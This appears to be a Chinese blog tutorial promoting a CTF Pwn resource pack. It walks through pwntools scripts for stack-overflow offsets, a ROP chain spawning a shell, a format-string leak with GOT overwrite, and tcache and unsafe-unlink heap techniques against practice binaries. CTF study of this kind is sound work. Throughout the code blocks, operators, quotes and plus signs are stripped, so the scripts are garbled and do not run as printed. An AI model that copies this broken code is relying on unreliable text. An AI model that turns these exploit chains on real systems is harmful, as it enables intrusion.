CTF Pwn 实战资源包:从栈溢出到堆利用的调试与利用链 简介本资源为《CTF竞赛权威指南Pwn篇》配套代码与实验资料包面向已具备一定二进制安全基础、希望系统掌握Pwn方向解题技巧的CTF选手与安全学习者。内容围绕栈溢出、格式化字符串、ROP、堆利用等核心考点展开覆盖从基础原理验证到真实赛题复现的完整链路。压缩包共93个文件约112KB以44个Python脚本和41个C源码为主辅以少量汇编、Shell脚本及说明文档分别对应漏洞演示程序、利用脚本与实验环境搭建。目录按章节组织涵盖ASLR、Canary、RELRO、DEP等保护机制实验以及fastbin dup、unsafe unlink、house of spirit、tcache poisoning等堆利用手法并收录多道国际赛题exp。已有333人学习下载适合对照书籍逐章动手调试快速积累漏洞分析与利用脚本编写经验。1. 从一道栈溢出题说起这份 Pwn 资源包到底装了什么很多人第一次打 CTF 的 Pwn 方向卡住的地方不是不会写脚本而是拿到题目后不知道从哪下手。一个 ELF 文件丢过来checksec 一看保护全开IDA 里函数名被剥得干干净净这时候如果手头没有一套成体系的资料很容易在“学什么、按什么顺序学”上耗掉大量时间。这份《CTF竞赛权威指南(Pwn篇)》相关资源核心价值就在于把 Pwn 从入门到进阶的知识链路整理成了一条可执行的路径——它覆盖了栈溢出、格式化字符串、堆利用、ROP 链构造这些经典考点也涉及工具链的配置和调试思路。适合谁刚接触二进制安全、想系统补齐 Pwn 基础的新手以及打过几场比赛但堆题一碰就碎、想回头补底层原理的熟手。它不是那种“看完就能打比赛”的速成包而是一份需要你对着调试器一步步跟的实战型资料。2. 环境搭建与工具链把调试地基先打牢Pwn 的学习体验很大程度上取决于你的调试环境顺不顺手。我见过太多人卡在第一步——pwntools 装不上、gdb 插件不生效、ELF 加载报错然后热情直接凉一半。这一章把环境搭建拆成可复现的步骤顺带说清楚每个工具在 Pwn 流程里到底承担什么角色。2.1 为什么是 pwntools pwndbg checksec 这套组合Pwn 的核心工作流可以概括为分析二进制 → 定位漏洞 → 构造利用 → 远程打点。pwntools 负责交互和 payload 构造pwndbg 负责动态调试时把栈、寄存器、堆状态可视化checksec 负责快速判断目标开了哪些保护。这三者不是随便选的而是社区里经过大量实战验证的搭配。常见做法是用 Python 虚拟环境隔离依赖避免和系统自带的 Python 包打架。# 创建独立虚拟环境避免污染系统 Python python3 -m venv pwn-env source pwn-env/bin/activate # 安装 pwntools这是 Pwn 脚本的核心库 pip install pwntools # 安装 pwndbg它是 gdb 的增强插件 git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh这里每一步都有讲究。虚拟环境那两行是为了让不同项目的依赖互不干扰尤其是你同时跟多个教程时pwntools 版本差异可能导致 API 行为不一致。pwntools 安装完成后用from pwn import *导入时会自动加载一堆快捷函数比如remote()、process()、ELF()这些是后续写 exp 的基础。pwndbg 的setup.sh会自动修改~/.gdbinit如果你之前配过其他 gdb 插件记得先备份原来的配置否则可能互相覆盖导致 gdb 启动报错。提示如果你用的是较新的 Python 版本pwntools 安装时可能提示某些依赖编译失败优先检查 pip 是否为最新版再确认系统里有没有装 python3-dev 和 build-essential。2.2 checksec 与 ELF 信息读取先看清目标再动手拿到一个二进制第一件事不是急着反编译而是用 checksec 看保护。这个习惯能帮你省下大量无效分析时间——如果 NX 开启、Canary 开启、PIE 开启那栈溢出的利用思路就完全不一样了。from pwn import * # 加载 ELF 文件context.log_level 控制输出详细程度 elf ELF(./target_binary) context.log_level debug # 查看关键保护信息 print(Arch:, elf.arch) print(RELRO:, elf.relro) print(Canary:, elf.canary) print(NX:, elf.nx) print(PIE:, elf.pie) # 查看导入函数和符号表找可利用的敏感函数 print(GOT entries:, elf.got) print(PLT entries:, elf.plt)这段脚本的逻辑是先用ELF()把二进制加载成对象然后通过属性直接读取保护状态。elf.got和elf.plt在构造 ROP 链时特别有用比如你想调用system(/bin/sh)就需要知道system在 PLT 表里的地址。参数方面context.log_level设成debug会打印大量交互细节适合调试阶段正式打远程时改成info或error避免输出刷屏。常见坑是 PIE 开启后ELF 里读到的地址是偏移量而非运行时地址需要配合泄漏leak来算基址这一点在后续章节会反复用到。2.3 调试脚本模板把重复劳动固化下来每次写 exp 都从零开始不现实我一般会准备一个模板把远程/本地切换、gdb 附加、交互函数都封装好。from pwn import * # 通过命令行参数切换本地调试和远程打点 if args.REMOTE: io remote(target_host, 1337) else: io process(./target_binary) # 本地模式下自动附加 gdb方便下断点 if args.GDB: gdb.attach(io, gdbscriptb *main\nc) # 封装发送和接收减少重复代码 def send_payload(payload): io.sendlineafter(bInput: , payload) # 示例接收泄漏地址 io.recvuntil(bleak: ) leaked_addr int(io.recvline().strip(), 16) log.success(fLeaked address: {hex(leaked_addr)}) io.interactive()这个模板的关键在于args的用法。pwntools 会自动解析命令行参数python3 exp.py REMOTE就走远程分支python3 exp.py GDB就附加调试器。gdbscript参数里可以写任意 gdb 命令比如b *main在 main 函数入口下断点c让程序继续运行。sendlineafter比sendline更稳因为它会等待指定字符串出现再发送避免因程序输出延迟导致的交互错位。参数说明recvuntil的返回值包含匹配字符串本身如果只想拿后面的数据可以用切片处理。这套模板在后续所有题目里都能直接复用改的只是 payload 构造部分。3. 栈溢出与 ROP从覆盖返回地址到构造调用链栈溢出是 Pwn 的起点也是最能体现“理解原理才能灵活利用”的地方。很多人背了 offset 计算公式但遇到带 Canary 或 NX 的题目就不知道怎么绕。这一章把栈溢出的利用拆成两个层次先讲最基础的返回地址覆盖再讲 NX 开启后如何用 ROP 构造调用链。3.1 定位溢出偏移cyclic 与调试器配合找偏移量是栈溢出的第一步。pwntools 提供了cyclic和cyclic_find这对工具配合调试器可以快速定位。from pwn import * # 生成 200 字节的循环模式字符串 pattern cyclic(200) io process(./vuln_binary) io.sendline(pattern) # 程序崩溃后在 gdb 里查看栈顶覆盖的 4/8 字节 # 假设崩溃时 RIP 0x6161616c offset cyclic_find(0x6161616c) print(fOffset to RIP: {offset})逻辑说明cyclic(200)生成的是无重复子串的序列每个 4 字节或 8 字节片段在序列中位置唯一。程序崩溃时RIP 被覆盖成某个片段用cyclic_find反查这个片段在序列中的起始位置就是偏移量。参数上cyclic_find接受整数或字节串32 位程序传 4 字节值64 位传 8 字节值。常见坑是字节序问题——gdb 里看到的是小端序显示直接复制十六进制值传给cyclic_find通常没问题但如果手动转换要注意顺序。另一个坑是偏移量算出来后payload 构造时bA * offset p64(target_addr)里的p64是 64 位打包32 位要用p32搞混了会直接报错或打不通。3.2 ROP 链构造用 gadget 拼出 system(/bin/sh)NX 开启后栈不可执行直接跳 shellcode 行不通这时候 ROP 就是标准解法。核心思路是用二进制里已有的pop rdi; ret这类 gadget把参数塞进寄存器再跳到目标函数。from pwn import * elf ELF(./rop_binary) io process(./rop_binary) # 用 ROP 模块自动搜索 gadget rop ROP(elf) pop_rdi rop.find_gadget([pop rdi, ret])[0] ret rop.find_gadget([ret])[0] # 获取 system 和 /bin/sh 的地址 system_addr elf.plt[system] bin_sh_addr next(elf.search(b/bin/sh)) # 构造 payload填充 pop rdi /bin/sh ret对齐 system payload bA * 72 payload p64(pop_rdi) payload p64(bin_sh_addr) payload p64(ret) # 栈对齐避免 system 内部 movaps 崩溃 payload p64(system_addr) io.sendline(payload) io.interactive()这段代码里几个关键点值得展开。rop.find_gadget会自动在二进制里搜索符合条件的指令序列返回地址列表。elf.search(b/bin/sh)在二进制数据段里找字符串找不到时可以考虑自己写入。ret那一条是 64 位系统下的经典坑——system函数内部有movaps指令要求栈 16 字节对齐如果调用时栈没对齐会直接崩加一个retgadget 相当于多弹一次栈调整对齐。参数说明p64打包 8 字节地址偏移量 72 是示例值实际要根据cyclic_find结果替换。常见失败情况是 gadget 找不到这时候可以换用ropper或ROPgadget命令行工具扩大搜索范围或者考虑用one_gadget直接找现成的 execve 调用点。3.3 格式化字符串泄漏与任意地址写格式化字符串漏洞在 Pwn 题里出现频率很高因为它既能泄漏内存又能实现任意地址写。核心原理是printf系列函数在遇到%n时会向对应参数指向的地址写入已输出字符数。from pwn import * io process(./fmt_binary) elf ELF(./fmt_binary) # 先泄漏 libc 地址计算 system 真实地址 io.sendline(b%7$p) # 读取第 7 个参数位置的栈数据 leaked int(io.recvline().strip(), 16) libc_base leaked - 0x1ebd40 # 示例偏移实际需查 libc 版本 system_addr libc_base 0x4f550 # 用 %n 把 system 地址写入 GOT 表项 payload fmtstr_payload(7, {elf.got[printf]: system_addr}) io.sendline(payload) io.sendline(b/bin/sh) io.interactive()逻辑说明%7$p直接读取格式化字符串第 7 个参数位置的值这个位置通常是栈上某个可控或可泄漏的地址。fmtstr_payload是 pwntools 封装好的工具第一个参数是偏移量第二个参数是字典{目标地址: 写入值}它会自动计算需要输出多少字符并拼接%n。参数上偏移量 7 是示例实际要用%p逐个试或者用脚本自动探测。常见坑是写入地址包含\x00导致字符串截断这时候要把目标地址放到 payload 末尾。另一个坑是 libc 版本不匹配泄漏的地址减偏移算出的基址不对解决方法是先用libc-database或libc.rip根据泄漏地址的低 12 位反查版本。4. 堆利用入门从 fastbin 到 tcache 的踩坑记录堆题是 Pwn 里最容易翻车的方向因为 glibc 的堆管理机制在不同版本间差异很大同一个利用思路在 2.23 能打通到 2.27 或 2.31 就完全失效。这一章不追求覆盖所有堆技巧而是把 fastbin 和 tcache 这两个最常考的机制讲透顺带记录几个我实际调试时踩过的坑。4.1 fastbin 与 tcache 的分配逻辑差异fastbin 是 glibc 早期版本里用于管理小内存块的单链表结构特点是 LIFO后进先出且不合并相邻空闲块。tcache 是 2.26 之后引入的线程本地缓存每个线程有 64 个 bin每个 bin 最多缓存 7 个块分配和释放速度更快但检查也更少。理解这两者的差异直接决定了你构造 double free 时能不能成功。from pwn import * io process(./heap_binary) elf ELF(./heap_binary) libc ELF(./libc.so.6) def add(size, content): io.sendlineafter(bchoice: , b1) io.sendlineafter(bsize: , str(size).encode()) io.sendlineafter(bcontent: , content) def delete(idx): io.sendlineafter(bchoice: , b2) io.sendlineafter(bindex: , str(idx).encode()) # 申请两个 chunk释放后观察 tcache bin 的链表结构 add(0x60, bAAAA) add(0x60, bBBBB) delete(0) delete(1) # 再次申请tcache 会按 LIFO 返回最近释放的 chunk add(0x60, bCCCC) # 实际拿到的是原 index 1 的 chunk逻辑说明这段代码演示了 tcache 的 LIFO 行为。释放顺序是 0 然后 1再次申请时拿到的是 1 号 chunk因为 1 号是最后释放的位于链表头部。参数上0x60是 chunk 大小实际可用空间是0x60 - 0x10 0x50字节64 位下 chunk 头占 16 字节。常见坑是 tcache 在 2.29 之后加入了key字段检查double free 时会检测chunk-key是否被改写直接连续释放同一个 chunk 会触发free(): double free detected in tcache 2并终止程序。绕过方法通常是先释放一个 chunk修改其key字段再释放一次。4.2 unsafe unlink老版本里的经典利用unsafe unlink 是 fastbin 时代的经典技巧利用的是unlink宏在双向链表中摘除节点时的指针操作。虽然新版本加了检查但理解它对掌握堆布局很有帮助。from pwn import * io process(./unlink_binary) elf ELF(./unlink_binary) # 构造 fake chunk让 unlink 时把目标地址写入指定位置 target elf.got[free] payload p64(0) p64(0x21) # fake chunk 头 payload p64(target - 0x18) # fd payload p64(target - 0x10) # bk payload bA * (0x20 - 0x20) # 填充到下一个 chunk # 触发 unlinkfreegot 被改写成 shellcode 地址或 system # 后续调用 free 时实际执行目标函数逻辑说明unlink宏执行的是FD-bk BK和BK-fd FD如果我们能控制FD和BK就能把任意值写到任意地址。上面 payload 里target - 0x18和target - 0x10是为了满足FD-bk P和BK-fd P的检查条件。参数上0x21是 chunk size 字段最低位表示前一个 chunk 是否在使用中。常见坑是 glibc 2.26 之后unlink增加了chunksize(P) ! prev_size(next_chunk(P))检查直接伪造会失败需要配合堆溢出修改相邻 chunk 的prev_size字段来绕过。4.3 堆题调试怎么在 gdb 里看清 chunk 状态堆题最难受的地方是“看不见”——栈溢出还能看寄存器堆操作全是内存里的链表指针。pwndbg 提供了vis_heap_chunks、bins、heap等命令能把堆布局可视化。# 在 gdb 里查看当前堆的所有 chunk vis_heap_chunks # 查看 tcache bin 和 fastbin 的链表状态 bins # 查看指定地址的 chunk 头信息 heap chunk 0x555555757000这些命令在调试时非常实用。vis_heap_chunks会用不同颜色标出已分配和空闲的 chunkbins会列出每个 bin 里挂了多少块、链表顺序如何。我一般会在malloc和free调用处下断点每次操作后看一眼 bins 状态确认链表指针是否符合预期。常见坑是 pwndbg 版本和 glibc 版本不匹配导致解析错误这时候可以换用pwn dbg的heap命令或者手动x/20gx看内存。5. 避坑与排查Pwn 调试中最容易翻车的五个场景这一章记录的是我在实际做题和帮人排查时反复遇到的坑每条都按“现象 → 原因 → 解决”写方便你对照自己的情况快速定位。5.1 本地打通远程打不通现象本地process()跑 exp 一切正常换成remote()就卡住或报错。原因通常是本地和远程的 libc 版本不一致导致泄漏地址算出的基址偏移不同或者远程环境有额外的输入输出缓冲sendlineafter等待的字符串没匹配上。解决方法是先用libc-database根据泄漏地址反查远程 libc 版本替换本地加载的 libc 文件交互部分改用recvuntil加超时重试或者直接send后recv固定长度。5.2 gadget 找到了但跳过去就崩现象ROP 链构造完成gdb 跟进去发现跳转到 gadget 后立即 SIGSEGV。原因多半是栈对齐问题64 位下system等函数要求 16 字节对齐少一个ret就会在movaps指令处崩。解决是在跳转到目标函数前多插一个retgadget或者用rop.call让 pwntools 自动处理对齐。5.3 格式化字符串写入地址被截断现象fmtstr_payload生成的 payload 发过去没反应gdb 里看目标地址没被改写。原因是 payload 里包含\x00printf遇到空字节就停止解析后面的%n根本没执行到。解决是把目标地址放到 payload 最末尾确保空字节出现在所有格式化说明符之后或者改用%hhn逐字节写入减少单次写入的字符数。5.4 tcache double free 被检测现象连续释放同一个 chunk程序报free(): double free detected in tcache 2并退出。原因是 glibc 2.29 之后 tcache 加入了key字段释放时会检查e-key tcache。解决是在两次释放之间通过 UAF 或其他写操作修改 chunk 的key字段把它改成任意非tcache的值再执行第二次释放。5.5 堆溢出改 size 字段后 malloc 报错现象用堆溢出修改了相邻 chunk 的 size 字段下一次malloc时程序报malloc(): corrupted top size或类似错误。原因是 glibc 在分配时会检查 chunk size 的合法性包括对齐、是否小于最小 chunk、是否超过av-system_mem等。解决是确保修改后的 size 满足(size 0xf) 0且size 0x20同时不要改到 top chunk 的 size 字段否则会触发 top chunk 检查。6. 从会做到做快用模板和脚本把 exp 写成流水线打到后面你会发现比赛里真正拉开差距的不是“会不会”而是“多快能出”。我现在的习惯是每道题都从固定模板起步把重复的部分全部脚本化只把精力留给漏洞定位和利用链设计。具体做法是维护一个exp_template.py里面预置好远程/本地切换、libc 加载、常用交互封装遇到新题直接复制一份改 payload 部分。from pwn import * import sys # 根据命令行参数自动切换模式 bin_path ./chall libc_path ./libc.so.6 elf ELF(bin_path) libc ELF(libc_path) if os.path.exists(libc_path) else None if args.REMOTE: io remote(host, port) else: io process(bin_path) if args.GDB: gdb.attach(io, gdbscriptb *main\nc) def slafter(delim, data): io.sendlineafter(delim, data) def sla(data): io.sendline(data) # 泄漏 libc 基址的通用函数 def leak_libc(offset): io.recvuntil(bleak: ) addr int(io.recvline().strip(), 16) base addr - offset log.success(flibc base: {hex(base)}) return base # 主利用逻辑从这里开始写 # ... io.interactive()这个模板的价值在于把环境差异和交互细节全部屏蔽掉你只需要关注leak_libc传什么偏移、payload 怎么拼。参数上offset是泄漏地址相对于 libc 基址的固定偏移可以用libc.symbols[puts]或libc.search(b/bin/sh)动态获取。我还会在模板里加一个pause()调用本地调试时按回车才继续方便在关键步骤前停下来看内存状态。另一个提速技巧是提前准备好常用 gadget 的搜索脚本。比如one_gadget可以直接在 libc 里找现成的execve(/bin/sh, ...)调用点省去构造 ROP 链的时间。# 在 libc 里搜索 one_gadget one_gadget ./libc.so.6 # 输出示例 # 0x4f2c5 execve(/bin/sh, rsp0x40, environ) # constraints: # rsp 0xf 0 # rcx NULLone_gadget的输出会列出每个 gadget 的地址和约束条件约束满足时直接跳过去就能拿 shell。常见坑是约束条件在特定栈布局下才成立盲目跳过去可能失败这时候可以配合realloc调整栈或者改用 ROP 链。我一般会先用 one_gadget 试一遍不行再回退到完整 ROP。从那以后我每次开新题都强制走一遍“checksec → 泄漏 → 模板改 payload”的流程不跳步、不凭感觉。这套习惯帮我省下的调试时间远比多背几个 gadget 地址划算。希望帮到你。本文还有配套的精品资源点击获取